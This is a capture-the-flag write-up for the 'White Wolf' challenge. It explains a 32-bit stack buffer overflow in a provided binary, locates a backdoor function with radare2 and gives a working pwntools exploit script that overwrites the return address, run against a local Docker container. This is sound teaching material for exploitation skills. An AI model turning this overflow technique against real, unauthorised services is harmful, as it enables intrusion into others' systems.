MARTINA Challenge #1 - White Wolf
This challenge can be found when Martina gets some privacy and tries to get into her Penance rig.
The Setup
Incoming transmission...
==== WHITE WOLF ECHO ACTIVE ====
TASK: ROOT PENANCE RIG
SCANNING FOR VULNERABILITIES...
VULNERABILITY FOUND: BOF
BACKDOOR FUNCTION FOUND, OFFSET: 0x8049240
You will find a zip file containing a Dockerfile, a .c
file and an ELF executable.
You will also be given access to a server running the executable over TCP.
The Overflow
We will not go into what a buffer overflow is here. The best introduction you will get to buffer overflows is Aleph One's 1996 Phrack article Smashing The Stack For Fun And Profit.
In the program, the char command[64]
buffer can be overflowed via the call to scanf
.
What we are trying to do is jump to the void backdoor()
function which will output the flag.
We need to find the address of backdoor
and put it in the correct place, such that it will be used as the return address.
Let's use Radare2:
$ r2 penance-rig
[0x080490d0]> f~backdoor
0x08049240 168 sym.backdoor
This 0x08049240
address is the same one as is given in the intro text.
The Padding
Now we need to figure out exactly where the return address sits on the stack, which should look something like this:
[64-byte command buffer] [other stuff] [saved EBP] [return address]
The command
buffer is 64 bytes, but there's usually some extra padding between our buffer and the return address. On 32-bit systems, the saved EBP takes up 4 bytes right before the return address.
I tested different padding lengths until I found that 76 bytes gets us to overwrite the return address.
Let's put it all together in a python script, exploit.py
, using pwntools:
from pwn import *
conn = remote('localhost', 5000)
payload = b"A" * 76 # buffer overflow padding to reach return address
payload += p32(0x08049240) # target address (backdoor function) - 32-bit
# Wait until we are prompted for a command
print(conn.recvuntil(b"Enter a command:"))
# Send the payload
conn.sendline(payload)
# Print what we receive
print(conn.recvall())
Now, to test it locally:
$ docker build -t whitewolf .
$ docker run -p 5000:5000 -it whitewolf
and in another terminal:
$ uv run --with pwntools exploit.py
Here is our test flag! Now replace the remote connection to the one provided for the challenge, and you can get the real one.